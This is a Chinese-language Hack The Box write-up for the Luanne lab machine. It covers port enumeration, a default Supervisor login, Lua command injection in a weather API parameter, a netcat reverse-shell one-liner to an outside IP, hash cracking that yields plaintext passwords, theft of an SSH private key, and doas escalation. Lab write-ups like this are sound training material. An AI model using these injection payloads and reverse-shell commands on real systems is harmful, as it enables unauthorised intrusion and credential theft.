HTB 学习笔记
【Hack The Box】Linux练习-- Luanne
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- 9001
- 80枚举
- lua注入
- 深入
- 当前用户->r.michaels
- 继续寻找
- enc文件与gpg密钥环
信息收集
有用的信息如下
22/tcp open ssh OpenSSH 8.0
80/tcp open http nginx 1.19.0
robots.txt
9001/tcp open http Medusa httpd 1.12 (Supervisor
80
首先有一个登陆框,我们现在啥都没有,先放
爆破一下目录
得知以下内容
TCP 80 有一个 robots.txt文件,他提示有一个 /weather
9001
Medusa httpd 1.12 (Supervisor process manager)
Medusa是Supervisor的托管服务器
http://supervisord.org/configuration.html
在这里查看supervisord的一些配置信息
得到信息如下:
Supervisor 配置文件通常命名为 supervisord.conf
找打了默认密码
登陆之后发现也没啥东西
但是这个页面不会有什么问题
我将点击三个name,查看,其中,一大串字符引起了我的注意
httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
我只能知道正在处理lua脚本,lua处理的好像就是之前的那个80页面
但是这里我就不太会用了,我将接着枚举80页面,看看robots.txt提刀的页面能不能干点事情
80枚举
feroxbuster -u http://10.10.10.218/weather -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
我将针对/weath页面进行更深入的枚举
枚举出了
http://10.10.10.218/weather/forecast
根据页面提示,我输入url如下
http://10.129.18.130/weather/forecast?city=list
lua注入
这个时候想起之前那个lua脚本也叫weath,我想这些数据就是通过lua来搞的
请求在 /weather/forecast被传递给 Lua 脚本,结果以 JSON 形式返回
我将对lua进行注入
首先先来个单引号
http://10.10.10.218/weather/forecast?city=’
报错了,说明存在注入
然后按照通用的lua注入方法,用括号
curl -s “http://10.129.18.130/weather/forecast?city=')±-”
可以看到已经不报错了,而是说没有这个城市
然后执行命令
curl -s “http://10.129.18.130/weather/forecast?city=')+os.execute(‘id’)±-”
因为这个盒子是 BSD,所以一些典型的 Linux 反向 shell 将无法工作
至于什么是bsd不重要,这是一个已经停产的操作系统
-G将强制执行 GET 命令,并使用来自 --data-urlencode在 url 而不是在正文中。
curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s
深入
同样的passwd敏感性
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
/home有用户r.michaels
hashcat -m 500 htpasswd --user /usr/share/wordlists/rockyou.txt
凭据如下
webapi_user/iamthebest
但是他也不是用户,所以我需要找一个地方去使用这个凭据,我想到了9001以及80页面都可以登陆,但是80还没进去过,所以我将优先去80
登陆成功
啥也没有了
当前用户->r.michaels
ps auxww | grep michaels
找一下michaels所运行的进程
r.michaels 556 0.0 0.0 36332 1984 ? Is 2:18AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
它看起来非常类似于 httpd上面的过程,但是这个运行的是不同的 weather.lua脚本,侦听 TCP 3001(而不是 3000),并服务于 /home/r.michaels/devel/www
同样的测试一下
curl -s -G http://127.0.0.1:3001/weather/forecast --data-urlencode "city=') os.execute('id') --"
但是不行
因为他服务于/home/r.michaels/devel/www
所以我要访问一下他的首页
也就是
要从本地访问,因为3001端口外部没有开放,所以这是一个本地服务
curl -s http://127.0.0.1:3001/~r.michaels/
说我们没有凭据
curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
发现在这个目录下有一个id_rsa
curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
请求私钥
复制粘贴到本地之后,赋予600权限
而后登陆
find / -name doas.conf 2>/dev/null
BSD 上的等价物是 doas. 配置文件有点直接?
doas sh
但是需要密码
如果我能找到密码我将这么执行
继续寻找
我在用户的home下寻找,这也是正常的路径
enc文件与gpg密钥环
发现一个enc加密的压缩包,这种格式需要特定的密钥
通常是gpg密钥
ls -l /home/r.michaels/.gnupg/
我注意到 .gnupgr.michael 主目录中的目录,它包含密钥环:
在gpg密钥的目录下
netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc
cd /tmp
gunzip rong.zip
tar zxvf rong.tar
被清理了,要加快一点动作
最后我们发现,存在一个解压出来的文件
luanne$ cat devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
得到密码
littlebear
doas sh